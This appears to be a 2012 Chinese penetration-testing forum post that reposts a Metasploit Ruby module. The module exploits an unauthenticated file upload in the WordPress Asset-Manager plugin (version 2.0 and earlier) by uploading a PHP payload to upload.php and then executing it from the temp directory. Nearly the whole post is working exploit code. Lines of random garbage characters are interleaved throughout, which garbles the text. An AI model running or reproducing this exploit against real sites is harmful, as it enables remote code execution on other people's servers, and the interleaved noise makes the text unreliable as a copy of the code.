中国网络渗透测试联盟
标题:
WordPress Asset-Manager PHP文件上传漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:22
标题:
WordPress Asset-Manager PHP文件上传漏洞
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
5 y& o$ o. J: `4 ^9 ^
: n5 b$ z* E# S) T1 y* q3 f' Z
##
! }# }5 B& j8 l5 }' ?) w
# This file is part of the Metasploit Framework and may be subject to
3 s0 E2 r _& m9 l: A, }( ?
# redistribution and commercial restrictions. Please see the Metasploit
- I( S- E, i; v5 B8 ?
# Framework web site for more information on licensing and terms of use.
$ z n* l' ^2 v- o7 J
#
http://metasploit.com/framework/
& u6 Z0 Q; |9 A# v
##
" E, e$ J. b, H! M+ @
& c3 I, v7 I4 f
require 'msf/core'
9 g( N! d% ]9 D; y7 ^) x; \$ X( n0 y! h
require 'msf/core/exploit/php_exe'
+ \; x& ^% O) Y; p4 F# ?7 j
, _7 @) Z1 \% ^( Y5 ]1 c
class Metasploit3 < Msf::Exploit::Remote
, S1 H9 P! T5 C- ]1 e' L, m
Rank = ExcellentRanking
4 m: P3 s) U4 x/ y' d
7 S9 Z B) ]+ n. y$ I
include Msf::Exploit::Remote::HttpClient
9 ?; w# D7 Q8 m! y/ X
include Msf::Exploit:
hpEXE
+ b E& B8 J/ f" G9 u: `
& e* P0 A- a+ n
def initialize(info = {})
& t' f' o" B7 G, b+ p9 r! U* ~. S( D
super(update_info(info,
* q( E) Q* p' d- ]) K- Q; Q1 Z3 [3 j% [
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
0 Z5 P; m1 s; s. Z
'Description' => %q{
2 A1 [( S# a. l
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
, n* z- x/ \; V- Y
plugin. By abusing the upload.php file, a malicious user can upload a file to a
0 A3 ~0 F+ m6 [* V( }& Q3 j, `
temp directory without authentication, which results in arbitrary code execution.
/ k% O- g% w& t/ _: L t7 q
},
/ I& b5 X) b7 r& _( N/ Y- k
'Author' =>
+ n! A% }/ m; S, ^1 x
[
( Q$ n# P* P. i* \* s1 h
'Sammy FORGIT', # initial discovery
5 ~( G6 M0 I* a, _( ?/ K) j; |
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
4 ]' U9 v0 Q( h
],
0 O' m# ^. c( Y: V
'License' => MSF_LICENSE,
' }! ?* j+ R& s. B2 ~& Z
'References' =>
3 ]( y/ u$ s' v" y6 X1 h# W& [* }* q
[
3 V! h& H; X0 @
[ 'OSVDB', '82653' ],
% \) Q; R# o! ?" P; }8 _
[ 'BID', '53809' ],
5 M: d/ C# m% j5 Y
[ 'EDB', '18993' ],
! d* L4 ]. @! M9 M6 ^
[ 'URL', 'http://
www.myhack58.com
/' ]
. u1 k8 i# b& A/ W
],
2 _5 v3 y4 V6 v8 Z3 v( @
'Payload' =>
& z% b( T5 Y! r( l
{
. _! g" d( w8 K' o) n) \
'BadChars' => "\x00",
0 d* @1 y; C5 {% {
},
. Z8 u+ t0 O3 S$ o! u* |
'Platform' => 'php',
y1 H# u" P2 z8 q! F$ S
'Arch' => ARCH_PHP,
! J+ w/ q. r- ?# U+ ], f8 G( q5 J
'Targets' =>
$ q+ r) e& L) W1 ~5 s
[
& x+ v* X. t$ h2 |& R2 F3 {# @8 C
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
: s }& Q0 h3 f! i/ M5 }6 }
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
: f/ S3 K# Y- `' b( F, F
],
$ p0 F6 \# I. _# O* k
'DefaultTarget' => 0,
$ S7 h) x. Q( x$ v( z5 E
'DisclosureDate' => 'May 26 2012'))
+ ~8 e6 J) ?( b
5 B8 s Z+ N) z6 }4 r2 r
register_options(
! R) Q" J1 o; Z6 h8 c
[
. m1 W/ p7 R4 R$ b% C7 ]8 A
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
+ H: x) ]5 Q- V6 s' b- u" s
], self.class)
1 d: I& t5 v. Q9 o
end
8 {* D) g( R; T- Q( u! E4 m. `
6 o# _+ W) r) L. @- U A
def exploit
% w* u) K9 _) `7 r2 ?3 H
uri = target_uri.path
# ^; v5 o1 Z# E+ c6 L
uri << '/' if uri[-1,1] != '/'
1 @" i3 O6 n9 F3 n9 K2 P( n- l8 Z
peer = "#{rhost}:#{rport}"
- w6 x0 Z5 f: H8 q& P
payload_name = "#{rand_text_alpha(5)}.php"
$ A3 u/ c, u- q
php_payload = get_write_exec_payload(:unlink_self=>true)
. C/ x1 P; t) _3 n
+ j! U) w+ C3 A5 |7 y
data = Rex::MIME::Message.new
( r) z1 Z% g& a5 k& Z
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
- Q1 b; d; I# C k7 ]' O( S* l) Z
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
. V/ N4 `9 @5 L! ]. G
8 p! I- h' q6 n' [
print_status("#{peer} - Uploading payload #{payload_name}")
, [/ O: u7 q+ b B% K8 M. Z+ J+ l$ Z0 ^
res = send_request_cgi({
; X3 p" ^9 R2 ^% x4 S: K/ l# y
'method' => 'POST',
+ r+ f8 o" E+ b$ ]
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
5 w2 |2 {2 e$ {' F Y5 g
'ctype' => "multipart/form-data; boundary=#{data.bound}",
( E1 `% Y4 a& n3 c1 C
'data' => post_data
) f3 T5 F* ?+ d: D6 V
})
8 Q0 Q) P8 I4 r5 v5 k; r
) z: I0 e& }' O
if not res or res.code != 200 or res.body !~ /#{payload_name}/
* i; L' f: d2 K0 {/ U% P
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
* N- l. m6 b' }& ~
end
5 p9 w& `$ j) o8 i7 `* S8 L$ A: y
1 @; q2 g9 N* Y8 E# S
print_status("#{peer} - Executing payload #{payload_name}")
: i6 A/ B. Y, H( R
res = send_request_raw({
3 w) ?5 c5 _9 [- i; Z; D
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
( ]$ z, ?% L: ~! K4 }; S
'method' => 'GET'
1 ^" h# i6 p3 K i8 r ~$ _
})
4 w+ B4 ]9 d* f% v1 x: S7 n
$ @" B* s, T& h) h2 }& {
if res and res.code != 200
( G/ O0 @! i! y* b6 g
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
a# P* d& l: r, M4 h2 F/ m
end
; t( ^3 K; O5 _) W
end
# a+ ~7 N( T4 P
end
, w G6 i6 z% `* g% W# y2 q6 Y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2